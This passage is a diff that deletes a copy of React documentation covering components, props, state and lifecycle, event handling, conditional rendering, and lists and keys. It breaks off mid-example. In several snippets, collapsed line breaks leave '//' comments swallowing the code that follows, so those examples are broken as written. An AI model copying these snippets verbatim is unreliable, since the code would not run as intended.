-Typically, new React apps have a single `App` component at the very top. However, if you integrate React into an existing app, you might start bottom-up with a small component like `Button` and gradually work your way to the top of the view hierarchy.
-
-## Extracting Components
-
-Don't be afraid to split components into smaller components.
-
-For example, consider this `Comment` component:
-
-```
-function Comment(props) {
-  return (
-    <div className="Comment">
-      <div className="UserInfo">
-        <img className="Avatar"src={props.author.avatarUrl}alt={props.author.name}/>
-        <div className="UserInfo-name">
-          {props.author.name}
-        </div>
-      </div>
-      <div className="Comment-text">
-        {props.text}
-      </div>
-      <div className="Comment-date">
-        {formatDate(props.date)}
-      </div>
-    </div>);
-}
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/extracting-components)
-
-[https://codepen.io/bgoonz/pen/PojwpzP?editors=0010](https://codepen.io/bgoonz/pen/PojwpzP?editors=0010)
-
-It accepts `author` (an object), `text` (a string), and `date` (a date) as props, and describes a comment on a social media website.
-
-This component can be tricky to change because of all the nesting, and it is also hard to reuse individual parts of it. Let's extract a few components from it.
-
-First, we will extract `Avatar`:
-
-```
-function Avatar(props) {
-  return (
-    <img className="Avatar"      src={props.user.avatarUrl}      alt={props.user.name}    />  );
-}
-```
-
-The `Avatar` doesn't need to know that it is being rendered inside a `Comment`. This is why we have given its prop a more generic name: `user` rather than `author`.
-
-We recommend naming props from the component's own point of view rather than the context in which it is being used.
-
-We can now simplify `Comment` a tiny bit:
-
-```
-function Comment(props) {
-  return (
-    <div className="Comment">      <div className="UserInfo">        <Avatar user={props.author} />        <div className="UserInfo-name">          {props.author.name}
-        </div>      </div>      <div className="Comment-text">        {props.text}
-      </div>      <div className="Comment-date">        {formatDate(props.date)}
-      </div>    </div>);
-}
-```
-
-Next, we will extract a `UserInfo` component that renders an `Avatar` next to the user's name:
-
-`function UserInfo(props) { return ( <div className="UserInfo"> <Avatar user={props.user} /> <div className="UserInfo-name"> {props.user.name} </div> </div> ); }`
-
-This lets us simplify `Comment` even further:
-
-```
-function Comment(props) {
-  return (
-    <div className="Comment">      <UserInfo user={props.author} />      <div className="Comment-text">        {props.text}
-      </div>      <div className="Comment-date">        {formatDate(props.date)}
-      </div>    </div>);
-}
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/extracting-components-continued)
-
-[https://codepen.io/bgoonz/pen/eYRmvzV?editors=0010](https://codepen.io/bgoonz/pen/eYRmvzV?editors=0010)
-
-Extracting components might seem like grunt work at first, but having a palette of reusable components pays off in larger apps. A good rule of thumb is that if a part of your UI is used several times (`Button`, `Panel`, `Avatar`), or is complex enough on its own (`App`, `FeedStory`, `Comment`), it is a good candidate to be extracted to a separate component.
-
-## Props are Read-Only
-
-Whether you declare a component [as a function or a class](https://reactjs.org/docs/components-and-props.html#function-and-class-components), it must never modify its own props. Consider this `sum` function:
-
-```
-function sum(a, b) {
-  return a + b;
-}
-```
-
-Such functions are called ["pure"](https://en.wikipedia.org/wiki/Pure_function) because they do not attempt to change their inputs, and always return the same result for the same inputs.
-
-In contrast, this function is impure because it changes its own input:
-
-```
-function withdraw(account, amount) {
-  account.total -= amount;
-}
-```
-
-React is pretty flexible but it has a single strict rule:
-
-**All React components must act like pure functions with respect to their props.**
-
-Of course, application UIs are dynamic and change over time. In the [next section](https://reactjs.org/docs/state-and-lifecycle.html), we will introduce a new concept of "state". State allows React components to change their output over time in response to user actions, network responses, and anything else, without violating this rule.
-
-## **State and Lifecycle**
-
-## This page introduces the concept of state and lifecycle in a React component. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Consider the ticking clock example from [one of the previous sections](https://reactjs.org/docs/rendering-elements.html#updating-the-rendered-element). In [Rendering Elements](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom), we have only learned one way to update the UI. We call `ReactDOM.render()` to change the rendered output:
-
-```
-function tick() {
-  const element = (
-    <div>      <h1>Hello, world!</h1>      <h2>It is {new Date().toLocaleTimeString()}.</h2>    </div>);
-  ReactDOM.render(    element,    document.getElementById('root')  );}
-
-setInterval(tick, 1000);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/gwoJZk?editors=0010)
-
-In this section, we will learn how to make the `Clock` component truly reusable and encapsulated. It will set up its own timer and update itself every second.
-
-We can start by encapsulating how the clock looks:
-
-```
-function Clock(props) {
-  return (
-    <div>      <h1>Hello, world!</h1>      <h2>It is {props.date.toLocaleTimeString()}.</h2>    </div>  );
-}
-
-function tick() {
-  ReactDOM.render(
-    <Clock date={new Date()} />,    document.getElementById('root')
-  );
-}
-
-setInterval(tick, 1000);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/dpdoYR?editors=0010)
-
-[https://codepen.io/bgoonz/pen/powvegw?editors=0010](https://codepen.io/bgoonz/pen/powvegw?editors=0010)
-
-However, it misses a crucial requirement: the fact that the `Clock` sets up a timer and updates the UI every second should be an implementation detail of the `Clock`.
-
-Ideally we want to write this once and have the `Clock` update itself:
-
-```
-ReactDOM.render(
-  <Clock />,  document.getElementById('root')
-);
-```
-
-To implement this, we need to add "state" to the `Clock` component.
-
-State is similar to props, but it is private and fully controlled by the component.
-
-## Converting a Function to a Class
-
-You can convert a function component like `Clock` to a class in five steps:
-
-1. Create an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), with the same name, that extends `React.Component`.
-2. Add a single empty method to it called `render()`.
-3. Move the body of the function into the `render()` method.
-4. Replace `props` with `this.props` in the `render()` body.
-5. Delete the remaining empty function declaration.
-
-```
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>
-        <h1>Hello, world!</h1>
-        <h2>It is {this.props.date.toLocaleTimeString()}.</h2>
-      </div>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/zKRGpo?editors=0010)
-
-[https://codepen.io/bgoonz/pen/eYRmvJV?editors=0010](https://codepen.io/bgoonz/pen/eYRmvJV?editors=0010)
-
-`Clock` is now defined as a class rather than a function.
-
-The `render` method will be called each time an update happens, but as long as we render `<Clock />` into the same DOM node, only a single instance of the `Clock` class will be used. This lets us use additional features such as local state and lifecycle methods.
-
-## Adding Local State to a Class
-
-We will move the `date` from props to state in three steps:
-
-1. Replace `this.props.date` with `this.state.date` in the `render()` method:
-
-```
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-```
-
-1. Add a [class constructor](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes#Constructor) that assigns the initial `this.state`:
-
-```
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {date: new Date()};  }
-
-  render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-```
-
-Note how we pass `props` to the base constructor:
-
-```
- constructor(props) {
-    super(props);    this.state = {date: new Date()};
-  }
-```
-
-Class components should always call the base constructor with `props`.
-
-1. Remove the `date` prop from the `<Clock />` element:
-
-```
-ReactDOM.render(
-  <Clock />,  document.getElementById('root')
-);
-```
-
-We will later add the timer code back to the component itself.
-
-The result looks like this:
-
-```
-class Clock extends React.Component {
-  constructor(props) {    super(props);    this.state = {date: new Date()};  }render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-
-ReactDOM.render(
-  <Clock />,  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/KgQpJd?editors=0010)
-
-[https://codepen.io/bgoonz/pen/oNwgZbV?editors=0010](https://codepen.io/bgoonz/pen/oNwgZbV?editors=0010)
-
-Next, we'll make the `Clock` set up its own timer and update itself every second.
-
-## Adding Lifecycle Methods to a Class
-
-In applications with many components, it's very important to free up resources taken by the components when they are destroyed.
-
-We want to [set up a timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval) whenever the `Clock` is rendered to the DOM for the first time. This is called "mounting" in React.
-
-We also want to [clear that timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/clearInterval) whenever the DOM produced by the `Clock` is removed. This is called "unmounting" in React.
-
-We can declare special methods on the component class to run some code when a component mounts and unmounts:
-
-```
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {date: new Date()};
-  }
-
-  componentDidMount() {  }  componentWillUnmount() {  }render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-```
-
-These methods are called "lifecycle methods".
-
-The `componentDidMount()` method runs after the component output has been rendered to the DOM. This is a good place to set up a timer:
-
-```
-  componentDidMount() {
-    this.timerID = setInterval(      () => this.tick(),      1000    );  }
-```
-
-Note how we save the timer ID right on `this` (`this.timerID`).
-
-While `this.props` is set up by React itself and `this.state` has a special meaning, you are free to add additional fields to the class manually if you need to store something that doesn't participate in the data flow (like a timer ID).
-
-We will tear down the timer in the `componentWillUnmount()` lifecycle method:
-
-```
-  componentWillUnmount() {
-    clearInterval(this.timerID);  }
-```
-
-Finally, we will implement a method called `tick()` that the `Clock` component will run every second.
-
-It will use `this.setState()` to schedule updates to the component local state:
-
-```
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {date: new Date()};
-  }
-
-  componentDidMount() {
-    this.timerID = setInterval(
-      () => this.tick(),
-      1000
-    );
-  }
-
-  componentWillUnmount() {
-    clearInterval(this.timerID);
-  }
-
-  tick() {    this.setState({      date: new Date()    });  }render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-
-ReactDOM.render(
-  <Clock />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/amqdNA?editors=0010)
-
-Now the clock ticks every second.
-
-Let's quickly recap what's going on and the order in which the methods are called:
-
-1. When `<Clock />` is passed to `ReactDOM.render()`, React calls the constructor of the `Clock` component. Since `Clock` needs to display the current time, it initializes `this.state` with an object including the current time. We will later update this state.
-2. React then calls the `Clock` component's `render()` method. This is how React learns what should be displayed on the screen. React then updates the DOM to match the `Clock`'s render output.
-3. When the `Clock` output is inserted in the DOM, React calls the `componentDidMount()` lifecycle method. Inside it, the `Clock` component asks the browser to set up a timer to call the component's `tick()` method once a second.
-4. Every second the browser calls the `tick()` method. Inside it, the `Clock` component schedules a UI update by calling `setState()` with an object containing the current time. Thanks to the `setState()` call, React knows the state has changed, and calls the `render()` method again to learn what should be on the screen. This time, `this.state.date` in the `render()` method will be different, and so the render output will include the updated time. React updates the DOM accordingly.
-5. If the `Clock` component is ever removed from the DOM, React calls the `componentWillUnmount()` lifecycle method so the timer is stopped.
-
-## Using State Correctly
-
-There are three things you should know about `setState()`.
-
-## Do Not Modify State Directly
-
-For example, this will not re-render a component:
-
-```
-// Wrong
-this.state.comment = 'Hello';
-```
-
-Instead, use `setState()`:
-
-```
-// Correct
-this.setState({comment: 'Hello'});
-```
-
-The only place where you can assign `this.state` is the constructor.
-
-## State Updates May Be Asynchronous
-
-React may batch multiple `setState()` calls into a single update for performance.
-
-Because `this.props` and `this.state` may be updated asynchronously, you should not rely on their values for calculating the next state.
-
-For example, this code may fail to update the counter:
-
-```
-// Wrong
-this.setState({
-  counter: this.state.counter + this.props.increment,
-});
-```
-
-To fix it, use a second form of `setState()` that accepts a function rather than an object. That function will receive the previous state as the first argument, and the props at the time the update is applied as the second argument:
-
-```
-// Correct
-this.setState((state, props) => ({
-  counter: state.counter + props.increment
-}));
-```
-
-We used an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) above, but it also works with regular functions:
-
-```
-// Correct
-this.setState(function(state, props) {
-  return {
-    counter: state.counter + props.increment
-  };
-});
-```
-
-## State Updates are Merged
-
-When you call `setState()`, React merges the object you provide into the current state.
-
-For example, your state may contain several independent variables:
-
-```
-  constructor(props) {
-    super(props);
-    this.state = {
-      posts: [],      comments: []    };
-  }
-```
-
-Then you can update them independently with separate `setState()` calls:
-
-```
-  componentDidMount() {
-    fetchPosts().then(response => {
-      this.setState({
-        posts: response.posts      });
-    });
-
-    fetchComments().then(response => {
-      this.setState({
-        comments: response.comments      });
-    });
-  }
-```
-
-The merging is shallow, so `this.setState({comments})` leaves `this.state.posts` intact, but completely replaces `this.state.comments`.
-
-## The Data Flows Down
-
-Neither parent nor child components can know if a certain component is stateful or stateless, and they shouldn't care whether it is defined as a function or a class.
-
-This is why state is often called local or encapsulated. It is not accessible to any component other than the one that owns and sets it.
-
-A component may choose to pass its state down as props to its child components:
-
-```
-<FormattedDate date={this.state.date} />
-```
-
-The `FormattedDate` component would receive the `date` in its props and wouldn't know whether it came from the `Clock`'s state, from the `Clock`'s props, or was typed by hand:
-
-```
-function FormattedDate(props) {
-  return <h2>It is {props.date.toLocaleTimeString()}.</h2>;
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/zKRqNB?editors=0010)
-
-[https://codepen.io/bgoonz/pen/GREgWEp?editors=0010](https://codepen.io/bgoonz/pen/GREgWEp?editors=0010)
-
-This is commonly called a "top-down" or "unidirectional" data flow. Any state is always owned by some specific component, and any data or UI derived from that state can only affect components "below" them in the tree.
-
-If you imagine a component tree as a waterfall of props, each component's state is like an additional water source that joins it at an arbitrary point but also flows down.
-
-To show that all components are truly isolated, we can create an `App` component that renders three `<Clock>`s:
-
-```
-function App() {
-  return (
-    <div>      <Clock />      <Clock />      <Clock />    </div>);
-}
-
-ReactDOM.render(
-  <App />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/vXdGmd?editors=0010)
-
-[https://codepen.io/bgoonz/pen/YzQPZQK?editors=0010](https://codepen.io/bgoonz/pen/YzQPZQK?editors=0010)
-
-Each `Clock` sets up its own timer and updates independently.
-
-In React apps, whether a component is stateful or stateless is considered an implementation detail of the component that may change over time. You can use stateless components inside stateful components, and vice versa.
-
-## **Handling Events**
-
-## Handling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:
-
--   React events are named using camelCase, rather than lowercase.
--   With JSX you pass a function as the event handler, rather than a string.
-
-For example, the HTML:
-
-```
-<button onclick="activateLasers()">
-  Activate Lasers
-</button>
-```
-
-is slightly different in React:
-
-```
-<button onClick={activateLasers}>  Activate Lasers
-</button>
-```
-
-Another difference is that you cannot return `false` to prevent default behavior in React. You must call `preventDefault` explicitly. For example, with plain HTML, to prevent the default form behavior of submitting, you can write:
-
-```
-<form onsubmit="console.log('You clicked submit.'); return false"><button type="submit">Submit</button></form>
-```
-
-In React, this could instead be:
-
-```
-function Form() {
-  function handleSubmit(e) {
-    e.preventDefault();    console.log('You clicked submit.');
-  }
-
-  return (
-    <form onSubmit={handleSubmit}>      <button type="submit">Submit</button>    </form>);
-}
-```
-
-Here, `e` is a synthetic event. React defines these synthetic events according to the [W3C spec](https://www.w3.org/TR/DOM-Level-3-Events/), so you don't need to worry about cross-browser compatibility. React events do not work exactly the same as native events. See the `[SyntheticEvent](<https://reactjs.org/docs/events.html>)` reference guide to learn more.
-
-When using React, you generally don't need to call `addEventListener` to add listeners to a DOM element after it is created. Instead, just provide a listener when the element is initially rendered.
-
-When you define a component using an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), a common pattern is for an event handler to be a method on the class. For example, this `Toggle` component renders a button that lets the user toggle between "ON" and "OFF" states:
-
-```
-class Toggle extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {isToggleOn: true};
-
-    // This binding is necessary to make `this` work in the callback    this.handleClick = this.handleClick.bind(this);  }
-
-  handleClick() {    this.setState(prevState => ({      isToggleOn: !prevState.isToggleOn    }));  }render() {
-    return (
-      <button onClick={this.handleClick}>        {this.state.isToggleOn ? 'ON' : 'OFF'}
-      </button>);
-  }
-}
-
-ReactDOM.render(
-  <Toggle />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/xEmzGg?editors=0010)
-
-You have to be careful about the meaning of `this` in JSX callbacks. In JavaScript, class methods are not [bound](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind) by default. If you forget to bind `this.handleClick` and pass it to `onClick`, `this` will be `undefined` when the function is actually called.
-
-This is not React-specific behavior; it is a part of [how functions work in JavaScript](https://www.smashingmagazine.com/2014/01/understanding-javascript-function-prototype-bind/). Generally, if you refer to a method without `()` after it, such as `onClick={this.handleClick}`, you should bind that method.
-
-If calling `bind` annoys you, there are two ways you can get around this. If you are using the experimental [public class fields syntax](https://babeljs.io/docs/plugins/transform-class-properties/), you can use class fields to correctly bind callbacks:
-
-```
-class LoggingButton extends React.Component {
-  // This syntax ensures `this` is bound within handleClick.  // Warning: this is *experimental* syntax.  handleClick = () => {    console.log('this is:', this);  }render() {
-    return (
-      <button onClick={this.handleClick}>        Click me
-      </button>);
-  }
-}
-```
-
-This syntax is enabled by default in [Create React App](https://github.com/facebookincubator/create-react-app).
-
-If you aren't using class fields syntax, you can use an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) in the callback:
-
-```
-class LoggingButton extends React.Component {
-  handleClick() {
-    console.log('this is:', this);
-  }
-
-  render() {
-    // This syntax ensures `this` is bound within handleClick    return (      <button onClick={() => this.handleClick()}>        Click me
-      </button>);
-  }
-}
-```
-
-The problem with this syntax is that a different callback is created each time the `LoggingButton` renders. In most cases, this is fine. However, if this callback is passed as a prop to lower components, those components might do an extra re-rendering. We generally recommend binding in the constructor or using the class fields syntax, to avoid this sort of performance problem.
-
-## Passing Arguments to Event Handlers
-
-Inside a loop, it is common to want to pass an extra parameter to an event handler. For example, if `id` is the row ID, either of the following would work:
-
-`<button onClick={(e) => this.deleteRow(id, e)}>Delete Row</button><button onClick={this.deleteRow.bind(this, id)}>Delete Row</button>`
-
-The above two lines are equivalent, and use [arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) and `[Function.prototype.bind](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind>)` respectively.
-
-In both cases, the `e` argument representing the React event will be passed as a second argument after the ID. With an arrow function, we have to pass it explicitly, but with `bind` any further arguments are automatically forwarded.
-
-## **Conditional Rendering**
-
-## In React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.
-
-Conditional rendering in React works the same way conditions work in JavaScript. Use JavaScript operators like `[if](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else>)` or the [conditional operator](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) to create elements representing the current state, and let React update the UI to match them.
-
-Consider these two components:
-
-```
-function UserGreeting(props) {
-  return <h1>Welcome back!</h1>;
-}
-
-function GuestGreeting(props) {
-  return <h1>Please sign up.</h1>;
-}
-```
-
-We'll create a `Greeting` component that displays either of these components depending on whether a user is logged in:
-
-```
-function Greeting(props) {
-  const isLoggedIn = props.isLoggedIn;
-  if (isLoggedIn) {    return <UserGreeting />;  }  return <GuestGreeting />;}
-ReactDOM.render(
-  // Try changing to isLoggedIn={true}:
-  <Greeting isLoggedIn={false} />,  document.getElementById('root'));
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ZpVxNq?editors=0011)
-
-[https://codepen.io/bgoonz/pen/mdwyWmJ?editors=0011](https://codepen.io/bgoonz/pen/mdwyWmJ?editors=0011)
-
-This example renders a different greeting depending on the value of `isLoggedIn` prop.
-
-## Element Variables
-
-You can use variables to store elements. This can help you conditionally render a part of the component while the rest of the output doesn't change.
-
-Consider these two new components representing Logout and Login buttons:
-
-```
-function LoginButton(props) {
-  return (
-    <button onClick={props.onClick}>
-      Login
-    </button>);
-}
-
-function LogoutButton(props) {
-  return (
-    <button onClick={props.onClick}>
-      Logout
-    </button>);
-}
-```
-
-In the example below, we will create a [stateful component](https://reactjs.org/docs/state-and-lifecycle.html#adding-local-state-to-a-class) called `LoginControl`.
-
-It will render either `<LoginButton />` or `<LogoutButton />` depending on its current state. It will also render a `<Greeting />` from the previous example:
-
-```
-class LoginControl extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleLoginClick = this.handleLoginClick.bind(this);
-    this.handleLogoutClick = this.handleLogoutClick.bind(this);
-    this.state = {isLoggedIn: false};
-  }
-
-  handleLoginClick() {
-    this.setState({isLoggedIn: true});
-  }
-
-  handleLogoutClick() {
-    this.setState({isLoggedIn: false});
-  }
-
-  render() {
-    const isLoggedIn = this.state.isLoggedIn;
-    let button;
-    if (isLoggedIn) {      button = <LogoutButton onClick={this.handleLogoutClick} />;    } else {      button = <LoginButton onClick={this.handleLoginClick} />;    }return (
-      <div>        <Greeting isLoggedIn={isLoggedIn} />        {button}      </div>);
-  }
-}
-
-ReactDOM.render(
-  <LoginControl />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/QKzAgB?editors=0010)
-
-While declaring a variable and using an `if` statement is a fine way to conditionally render a component, sometimes you might want to use a shorter syntax. There are a few ways to inline conditions in JSX, explained below.
-
-## Inline If with Logical && Operator
-
-You may [embed expressions in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) by wrapping them in curly braces. This includes the JavaScript logical `&&` operator. It can be handy for conditionally including an element:
-
-```
-function Mailbox(props) {
-  const unreadMessages = props.unreadMessages;
-  return (
-    <div>      <h1>Hello!</h1>      {unreadMessages.length > 0 &&        <h2>          You have {unreadMessages.length} unread messages.        </h2>      }    </div>);
-}
-
-const messages = ['React', 'Re: React', 'Re:Re: React'];
-ReactDOM.render(
-  <Mailbox unreadMessages={messages} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on**](https://codepen.io/gaearon/pen/ozJddz?editors=0010)
-
-[**CodePen**](https://codepen.io/gaearon/pen/ozJddz?editors=0010)
-
-{% embed url="https://codepen.io/bgoonz/pen/VwWYppo?editors=0010" %}
-
-It works because in JavaScript, `true && expression` always evaluates to `expression`, and `false && expression` always evaluates to `false`.
-
-Therefore, if the condition is `true`, the element right after `&&` will appear in the output. If it is `false`, React will ignore and skip it.
-
-Note that returning a falsy expression will still cause the element after `&&` to be skipped but will return the falsy expression. In the example below, `<div>0</div>` will be returned by the render method.
-
-```
-render() {
-  const count = 0;  return (
-    <div>      { count && <h1>Messages: {count}</h1>}    </div>);
-}
-```
-
-## Inline If-Else with Conditional Operator
-
-Another method for conditionally rendering elements inline is to use the JavaScript conditional operator `[condition ? true : false](<https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator>)`.
-
-In the example below, we use it to conditionally render a small block of text.
-
-```
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      The user is <b>{isLoggedIn ? 'currently' : 'not'}</b> logged in.    </div>);
-}
-```
-
-It can also be used for larger expressions although it is less obvious what's going on:
-
-```
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      {isLoggedIn        ? <LogoutButton onClick={this.handleLogoutClick} />        : <LoginButton onClick={this.handleLoginClick} />      }
-    </div>  );
-}
-```
-
-Just like in JavaScript, it is up to you to choose an appropriate style based on what you and your team consider more readable. Also remember that whenever conditions become too complex, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components).
-
-## Preventing Component from Rendering
-
-In rare cases you might want a component to hide itself even though it was rendered by another component. To do this return `null` instead of its render output.
-
-In the example below, the `<WarningBanner />` is rendered depending on the value of the prop called `warn`. If the value of the prop is `false`, then the component does not render:
-
-```
-function WarningBanner(props) {
-  if (!props.warn) {    return null;  }return (
-    <div className="warning">      Warning!
-    </div>);
-}
-
-class Page extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {showWarning: true};
-    this.handleToggleClick = this.handleToggleClick.bind(this);
-  }
-
-  handleToggleClick() {
-    this.setState(state => ({
-      showWarning: !state.showWarning
-    }));
-  }
-
-  render() {
-    return (
-      <div>        <WarningBanner warn={this.state.showWarning} />        <button onClick={this.handleToggleClick}>          {this.state.showWarning ? 'Hide' : 'Show'}
-        </button>      </div>);
-  }
-}
-
-ReactDOM.render(
-  <Page />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on**](https://codepen.io/gaearon/pen/Xjoqwm?editors=0010)
-
-[**CodePen**](https://codepen.io/gaearon/pen/Xjoqwm?editors=0010)[**https://codepen.io/gaearon/pen/Xjoqwm?editors=0010**](https://codepen.io/gaearon/pen/Xjoqwm?editors=0010)
-
----
-
----
-
-Returning `null` from a component's `render` method does not affect the firing of the component's lifecycle methods. For instance `componentDidUpdate` will still be called.
-
-## **Lists and Keys**
-
-## First, let's review how you transform lists in JavaScript.
-
-Given the code below, we use the `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map>)` function to take an array of `numbers` and double their values. We assign the new array returned by `map()` to the variable `doubled` and log it:
-
-```
-const numbers = [1, 2, 3, 4, 5];
-const doubled = numbers.map((number) => number * 2);console.log(doubled);
-```
-
-This code logs `[2, 4, 6, 8, 10]` to the console.
-
-In React, transforming arrays into lists of [elements](https://reactjs.org/docs/rendering-elements.html) is nearly identical.
-
-## Rendering Multiple Components
-
-You can build collections of elements and [include them in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) using curly braces `{}`.
-
-Below, we loop through the `numbers` array using the JavaScript `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map>)` function. We return a `<li>` element for each item. Finally, we assign the resulting array of elements to `listItems`:
-
-```
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) =>  <li>{number}</li>);
-```
-
-We include the entire `listItems` array inside a `<ul>` element, and [render it to the DOM](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom):
-
-```
-ReactDOM.render(
-  <ul>{listItems}</ul>,  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/GjPyQr?editors=0011)
-
-[https://codepen.io/bgoonz/pen/eYRmvvr?editors=0011](https://codepen.io/bgoonz/pen/eYRmvvr?editors=0011)
-
-This code displays a bullet list of numbers between 1 and 5.
-
-## Basic List Component
-
-Usually you would render lists inside a [component](https://reactjs.org/docs/components-and-props.html).
-
-We can refactor the previous example into a component that accepts an array of `numbers` and outputs a list of elements.
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>    <li>{number}</li>  );  return (
-    <ul>{listItems}</ul>  );
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,  document.getElementById('root')
-);
-```
-
-When you run this code, you'll be given a warning that a key should be provided for list items. A "key" is a special string attribute you need to include when creating lists of elements. We'll discuss why it's important in the next section.
-
-Let's assign a `key` to our list items inside `numbers.map()` and fix the missing key issue.
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    <li key={number.toString()}>      {number}
-    </li>);
-  return (
-    <ul>{listItems}</ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/jrXYRR?editors=0011)
-
-[https://codepen.io/bgoonz/pen/yLXyMMP?editors=0011](https://codepen.io/bgoonz/pen/yLXyMMP?editors=0011)
-
-## Keys
-
-Keys help React identify which items have changed, are added, or are removed. Keys should be given to the elements inside the array to give the elements a stable identity:
-
-```
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) =>
-  <li key={number.toString()}>    {number}
-  </li>);
-```
-
-The best way to pick a key is to use a string that uniquely identifies a list item among its siblings. Most often you would use IDs from your data as keys:
-
-```
-const todoItems = todos.map((todo) =>
-  <li key={todo.id}>    {todo.text}
-  </li>);
-```
-
-When you don't have stable IDs for rendered items, you may use the item index as a key as a last resort:
-
-```
-const todoItems = todos.map((todo, index) =>
-  // Only do this if items have no stable IDs  <li key={index}>    {todo.text}
-  </li>);
-```
-
-We don't recommend using indexes for keys if the order of items may change. This can negatively impact performance and may cause issues with component state. Check out Robin Pokorny's article for an [in-depth explanation on the negative impacts of using an index as a key](https://medium.com/@robinpokorny/index-as-a-key-is-an-anti-pattern-e0349aece318). If you choose not to assign an explicit key to list items then React will default to using indexes as keys.
-
-Here is an [in-depth explanation about why keys are necessary](https://reactjs.org/docs/reconciliation.html#recursing-on-children) if you're interested in learning more.
-
-## Extracting Components with Keys
-
-Keys only make sense in the context of the surrounding array.
-
-For example, if you [extract](https://reactjs.org/docs/components-and-props.html#extracting-components) a `ListItem` component, you should keep the key on the `<ListItem />` elements in the array rather than on the `<li>` element in the `ListItem` itself.
-
-**Example: Incorrect Key Usage**
-
-```
-function ListItem(props) {
-  const value = props.value;
-  return (
-    // Wrong! There is no need to specify the key here:    <li key={value.toString()}>      {value}
-    </li>);
-}
-
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Wrong! The key should have been specified here:    <ListItem value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-**Example: Correct Key Usage**
-
-```
-function ListItem(props) {
-  // Correct! There is no need to specify the key here:  return <li>{props.value}</li>;}
-
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
